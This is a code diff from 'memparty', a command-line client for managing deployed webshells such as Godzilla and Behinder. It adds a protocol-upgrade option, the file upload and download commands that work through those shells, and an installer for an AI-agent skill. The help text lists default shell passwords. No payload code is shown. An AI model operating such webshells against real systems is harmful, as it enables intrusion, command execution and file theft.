+ import { Command as Command8 } from "commander";
5221
5656
 
5222
5657
  // src/core/skill-install.ts
5223
5658
  import { cpSync, existsSync as existsSync6, mkdirSync as mkdirSync5, readdirSync as readdirSync2 } from "fs";
@@ -5261,7 +5696,7 @@ function installSkill(scopes, opts = {}) {
5261
5696
  // src/commands/skill.ts
5262
5697
  function registerSkillCommand(program) {
5263
5698
  program.command("skill").description("Manage the bundled agent skill (skills/memshell-party)").addCommand(
5264
- new Command7("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
5699
+ new Command8("install").description("Install the memshell-party skill into an agent's skill directory").option("--user", "install to ~/.agents/skills (default)").option("--claude", "install to ~/.claude/skills (Claude Code)").option("--project [dir]", "install to <dir>/skills (default: current directory)").option("--json", "output raw JSON").addHelpText(
5265
5700
  "after",
5266
5701
  `
5267
5702
  The package ships skills/memshell-party/SKILL.md \u2014 the workflow guide that
@@ -5312,7 +5747,7 @@ Examples:
5312
5747
  }
5313
5748
 
5314
5749
  // src/commands/target.ts
5315
- import { Option as Option6 } from "commander";
5750
+ import { Option as Option7 } from "commander";
5316
5751
  function parseExtraHeaders3(lines) {
5317
5752
  const headers = {};
5318
5753
  for (const line of lines ?? []) {
@@ -5362,8 +5797,8 @@ function registerTargetCommand(program) {
5362
5797
  program.command("save").description(
5363
5798
  "Save a shell connection profile as <project>/<shell> (overwrites an existing shell)"
5364
5799
  ).argument("<ref>", "shell reference: <project>/<shell>").requiredOption("-u, --url <url>", "URL of the deployed shell").addOption(
5365
- new Option6("-t, --tool <tool>", "shell tool").choices(protocolNames())
5366
- ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
5800
+ new Option7("-t, --tool <tool>", "shell tool").choices(protocolNames())
5801
+ ).option("--pass <pass>", "password").option("--key <key>", "godzilla / mimic key").option("--header-name <name>", "gate header name (shellToolConfig.headerName)").option("--header-value <value>", "gate header value (shellToolConfig.headerValue)").option("-H, --header <line...>", 'extra request header, e.g. -H "Cookie: a=b"').option("--profile <name>", "mimic: site profile name").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option("-k, --insecure", "skip TLS certificate verification").option("--remark <text>", "project remark (merged into the project)").option("--category <name>", "project category (merged into the project)").option("--shell-remark <text>", "remark for this shell").option("--json", "output raw JSON").addHelpText(
5367
5802
  "after",
5368
5803
  `
5369
5804
  Examples:
@@ -5407,6 +5842,7 @@ save is for choosing the name by hand.
5407
5842
  headerValue: opts.headerValue,
5408
5843
  extraHeaders: parseExtraHeaders3(opts.header),
5409
5844
  profile: opts.profile,
5845
+ upgradeProtocol: opts.upgradeProtocol,
5410
5846
  insecure: opts.insecure || void 0,
5411
5847
  remark: opts.shellRemark
5412
5848
  };
@@ -5514,7 +5950,7 @@ save is for choosing the name by hand.
5514
5950
 
5515
5951
  // src/commands/transfer.ts
5516
5952
  import { writeFileSync as writeFileSync6 } from "fs";
5517
- import { Option as Option7 } from "commander";
5953
+ import { Option as Option8 } from "commander";
5518
5954
  function parseExtraHeaders4(lines) {
5519
5955
  const headers = {};
5520
5956
  for (const line of lines ?? []) {
@@ -5537,7 +5973,8 @@ function resolveTransfer(name, opts, timeoutMs) {
5537
5973
  headerName: opts.headerName,
5538
5974
  headerValue: opts.headerValue,
5539
5975
  extraHeaders: parseExtraHeaders4(opts.header),
5540
- insecure: opts.insecure
5976
+ insecure: opts.insecure,
5977
+ upgradeProtocol: opts.upgradeProtocol
5541
5978
  });
5542
5979
  } catch (err) {
5543
5980
  reportError(err instanceof Error ? err.message : String(err), opts.json ? ["--json"] : []);
@@ -5551,7 +5988,8 @@ function resolveTransfer(name, opts, timeoutMs) {
5551
5988
  headerValue: conn.headerValue,
5552
5989
  extraHeaders: conn.extraHeaders,
5553
5990
  timeoutMs,
5554
- insecure: conn.insecure
5991
+ insecure: conn.insecure,
5992
+ upgradeProtocol: conn.upgradeProtocol
5555
5993
  }
5556
5994
  };
5557
5995
  }
@@ -5586,8 +6024,8 @@ function printResult(result, localPath, savedAs, json) {
5586
6024
  }
5587
6025
  function registerDownloadCommand(program) {
5588
6026
  program.command("download").description("Download a file from a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[remote]", "remote file path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5589
- new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
5590
- ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
6027
+ new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("download"))
6028
+ ).option("-o, --output <file>", "local destination (a directory keeps the remote basename)").option("--force", "overwrite an existing local file").option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
5591
6029
  "--remote-charset <label>",
5592
6030
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
5593
6031
  ).option(
@@ -5677,8 +6115,8 @@ is never overwritten unless --force is given.
5677
6115
  }
5678
6116
  function registerUploadCommand(program) {
5679
6117
  program.command("upload").description("Upload a local file to a deployed webshell").argument("[name]", "saved target name (see 'memparty list')").argument("[local]", "local file path").argument("[remote]", "remote destination path").option("-u, --url <url>", "URL of the deployed shell (or give a saved target name)").addOption(
5680
- new Option7("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
5681
- ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option(
6118
+ new Option8("-t, --tool <tool>", "shell protocol").choices(protocolNames("upload"))
6119
+ ).option("--pass <pass>", "password (godzilla default: pass; behinder default: rebeyond)").option("--key <key>", "godzilla key (default: key)").option("--upgrade-protocol <className>", "godzilla Upgrade shell: fully-qualified generated shell class name").option(
5682
6120
  "--remote-charset <label>",
5683
6121
  "godzilla: charset for non-ASCII remote paths (e.g. GBK; default UTF-8)"
5684
6122
  ).option(
@@ -5894,7 +6332,7 @@ async function startRepl(build) {
5894
6332
 
5895
6333
  // src/cli.ts
5896
6334
  function buildProgram() {
5897
- const program = new Command11();
6335
+ const program = new Command12();
5898
6336
  program.name("memparty").description("CLI + MCP client for MemShellParty (party.mem.mk)").version(CLI_VERSION, "-v, --version", "output the CLI version").option(
5899
6337
  "--api <url>",
5900
6338
  `MemShellParty backend URL (env ${ENV_VAR}, default ${DEFAULT_API_URL})`
@@ -5922,6 +6360,7 @@ Every subcommand has its own examples: memparty <command> --help
5922
6360
  registerGenCommand(program);
5923
6361
  registerProbeCommand(program);
5924
6362
  registerConfigCommand(program);
6363
+ registerBytecodeCommand(program);
5925
6364
  registerConnectCommand(program);
5926
6365
  registerExecCommand(program);
5927
6366
  registerDownloadCommand(program);